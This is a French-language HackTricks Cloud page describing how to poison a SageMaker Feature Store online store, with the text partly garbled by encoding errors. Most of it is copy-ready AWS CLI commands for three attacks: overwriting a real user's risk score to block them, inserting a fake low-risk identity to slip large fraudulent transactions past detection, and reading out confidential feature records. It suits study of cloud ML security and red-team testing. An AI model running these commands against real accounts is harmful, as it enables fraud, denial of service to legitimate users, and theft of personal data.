SageMaker Feature Store online store poisoning
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Exploiter sagemaker:PutRecord sur un Feature Group avec OnlineStore activĂ© pour Ă©craser les valeurs de features en production utilisĂ©es par lâinfĂ©rence en ligne. CombinĂ© avec sagemaker:GetRecord, un attaquant peut lire des features sensibles. Cela ne nĂ©cessite pas dâaccĂšs aux modĂšles ni aux endpoints.
Prérequis
- Autorisations :
sagemaker:ListFeatureGroups,sagemaker:DescribeFeatureGroup,sagemaker:PutRecord,sagemaker:GetRecord - Cible : Feature Group avec OnlineStore activĂ© (gĂ©nĂ©ralement utilisĂ© pour lâinfĂ©rence en temps rĂ©el)
- Complexité : LOW - Commandes AWS CLI simples, aucune manipulation de modÚle requise
Ătapes
Reconnaissance
- Lister les Feature Groups avec OnlineStore activé
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
- Décrire un Feature Group cible pour comprendre son schéma
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
Notez RecordIdentifierFeatureName, EventTimeFeatureName et toutes les définitions de feature. Elles sont nécessaires pour créer des enregistrements valides.
Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
- Lire lâenregistrement lĂ©gitime actuel
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
- Empoisonner lâenregistrement avec des valeurs malveillantes en utilisant le paramĂštre inline
--record
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
- Vérifier les données empoisonnées
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
Impact: Les modÚles ML consommant cette feature verront maintenant risk_score=0.99 pour un utilisateur légitime, bloquant potentiellement leurs transactions ou services.
ScĂ©nario dâattaque 2 : Injection de donnĂ©es malveillantes (CrĂ©er des enregistrements frauduleux)
Injecter de nouveaux enregistrements complÚtement falsifiés avec des features manipulées pour contourner les contrÎles de sécurité :
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
VĂ©rifier lâinjection :
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
Impact : Un attaquant crée une fausse identité avec un score de risque faible (0,01) qui peut effectuer des transactions frauduleuses de grande valeur sans déclencher la détection de fraude.
ScĂ©nario dâattaque 3 : Exfiltration de donnĂ©es sensibles
Lire plusieurs enregistrements pour extraire des caractéristiques confidentielles et analyser le comportement du modÚle :
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
Impact : Des caractéristiques confidentielles (scores de risque, schémas de transaction, données personnelles) exposées à un attaquant.
CrĂ©ation dâun Feature Group de test/dĂ©mo (optionnel)
Si vous devez créer un Feature Group de test :
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi
echo "Feature Group ready: $FG"
Références
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

